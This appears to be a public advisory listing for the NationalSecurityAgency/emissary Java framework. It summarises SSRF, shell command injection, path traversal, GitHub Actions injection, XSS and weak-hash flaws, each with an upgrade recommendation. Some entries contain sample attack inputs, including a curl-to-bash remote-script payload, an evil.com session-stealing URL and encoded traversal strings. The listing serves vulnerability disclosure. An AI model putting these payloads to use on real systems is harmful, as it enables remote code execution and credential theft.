Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
7 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
The URL validation regex `^(https?:/)?/.*` added to emissary's `NavAction.java` allows protocol-relative URLs (`//evil.com/...`) and single-slash scheme variants (`http:/evil.com`) to bypass validation, enabling SSRF and open redirect attacks. Affected Package - Ecosystem: Maven - Package: NationalSecurityAgency/emissary - Affected versions: = e2078417464b Severity Medium CWE CWE-918 — Server-Side Request Forgery (SSRF) Details The fix in `NavAction.java` (line 47) introduces a `VALID_LINK` pattern: ```java Pattern.compile("^(https?:/)?/.*") ``` This regex is intended to restrict navigation links to relative paths and HTTP/HTTPS URLs. However, it has multiple bypass vectors. Protocol-relative URLs (`//evil.com/...`): The group `(https?:/)?` is optional, so the pattern reduces to `//.*` when the group is absent. This matches `//evil.com/steal?c=SESSION`, which browsers resolve to the current page's protocol plus the attacker's host. Single-slash…
Recommended action: Upgrade to 8.51.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The INFILEENDING and OUTFILEENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed. This is a framework-level defect — Executrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed. --- Root Cause Step 1 — INFILEENDING flows into temp path construction without validation TempFileNames.java:32-36 inFileEnding is concatenated directly onto a numeric base to produce inputFilename. No character class, no regex, no escaping. Step 2 — The injected path is substituted…
Recommended action: Upgrade to 8.43.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The configuration API endpoint (/api/configuration/{name}) validated configuration names using a blacklist approach that checked for \, /, .., and trailing .. This could potentially be bypassed using URL-encoded variants, double-encoding, or Unicode normalization to achieve path traversal and read configuration files outside the intended directory. Details Vulnerable code — Configs.java (line 126) Weakness The blacklist blocked literal \, /, .., and trailing . but could potentially miss: - URL-encoded variants (%2e%2e%2f) if decoded after validation - Double-encoded sequences (%252e%252e%252f) - Unicode normalization bypasses - The approach relies on string matching rather than canonical path resolution Impact - Potential read access to configuration files outside the intended config directory - Information disclosure of sensitive configuration values Remediation Fixed in PR #1292, merged into release 8.39.0. The blacklist was replaced with an allowlist regex that only…
Recommended action: Upgrade to 8.39.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACENAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, , (, ), etc.) to pass through into /bin/sh -c command execution. Details Vulnerable code — Executrix.java Insufficient sanitization (line 132): Shell sink (line 1052–1058): Data flow 1. PLACENAME is read from a configuration file 2. Executrix applies only a space-to-underscore replacement 3. The placeName is used to construct temporary directory paths (tmpNames[DIR]) 4. tmpNames[DIR] is concatenated into a shell command string 5. The command is executed via /bin/sh -c Example payload After the original sanitization: test;curlattacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved) Impact - Arbitrary command execution on the Emissary host - Requires the ability to control configuration values (e.g.,…
Recommended action: Upgrade to 8.39.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflowdispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. Affected Files | Workflow file | Injection points | |------------------------------------------|------------------| | .github/workflows/maven-version.yml | 4 | | .github/workflows/cherrypick.yml | 5 | | .github/workflows/maven-release.yml | 1 | Details GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflowdispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code. Example — maven-version.yml (before fix) A malicious input such as 1.0.0"; curl…
Recommended action: Upgrade to 8.39.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Mustache navigation templates interpolated configuration-controlled link values directly into href attributes without URL scheme validation. An administrator who could modify the navItems configuration could inject javascript: URIs, enabling stored cross-site scripting (XSS) against other authenticated users viewing the Emissary web interface. Details Vulnerable code — nav.mustache (line 10) The {{link}} value was rendered without any scheme validation. Mustache's default HTML escaping protects against injection of new HTML tags but does not prevent javascript: URIs in href attributes, since javascript: contains no characters that HTML-escaping would alter. Attack vector An administrator sets a navigation item's link to: Any authenticated user who clicks the navigation link executes the script in their browser context. Impact - Session hijacking via cookie theft - Actions performed on behalf of the victim user - Requires administrative access to modify navigation…
Recommended action: Upgrade to 8.39.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The ChecksumCalculator class within allows for hashing and checksum generation, but it includes or defaults to algorithms that are no longer recommended for secure cryptographic use cases (e.g., SHA-1, CRC32, and SSDEEP). These algorithms, while possibly valid for certain non-security-critical tasks, can expose users to security risks if used in scenarios where strong cryptographic guarantees are required. Requirement from NIST Requirement from NIST regarding SHA1 https://csrc.nist.gov/projects/hash-functions#:~:text=NIST%20deprecated%20the%20use%20of,use%20of%20the%20SHA%2D1. Federal agencies should use SHA-2 or SHA-3 as an alternative to SHA-1. Further guidance will be available soon. Send questions on the transition to sha-1-transition@nist.gov. https://www.nist.gov/news-events/news/2022/12/nist-retires-sha-1-cryptographic-algorithm Mitigation and Fix Make it clear to developers and users that the ChecksumCalculator is specific to the "Known File Filter" (KFF) document…
Recommended action: Upgrade to 8.24.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.